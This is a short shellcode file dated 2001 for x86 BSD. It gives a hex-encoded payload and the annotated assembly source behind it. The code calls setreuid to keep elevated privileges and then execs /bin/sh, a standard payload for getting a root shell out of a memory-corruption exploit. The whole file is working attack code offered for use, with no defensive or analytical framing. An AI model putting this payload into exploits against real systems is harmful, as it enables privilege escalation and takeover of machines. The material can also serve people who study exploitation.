"\x31\xdb\x53\x53\x6a\x7e\x58\x50\xcd\x80\xeb\x0a\x59\x53\x53\x51"
"\x6a\x3b\x58\x50\xcd\x80\xe8\xf1\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x00"

#Program: setreuid, execve /bin/sh for BSD
#Program by: lockdown	(www.lockeddown.net)
#date: August 1, 2001
#The following code was used to make the above shellcode.

.text
.global main
main:   xorl  %ebx, %ebx
        pushl %ebx
        pushl %ebx
        pushl $126                      #126 syscall setreuid BSD
        popl  %eax
        pushl %eax
        int   $0x80
        jmp   bottom
top:    popl  %ecx
        pushl %ebx                      #envp
        pushl %ebx                      #argv
        pushl %ecx                      #string
        pushl $59                       #59 syscall execve BSD
        popl  %eax
        pushl %eax
        int   $0x80
bottom: call  top
        .string "/bin/sh\0"

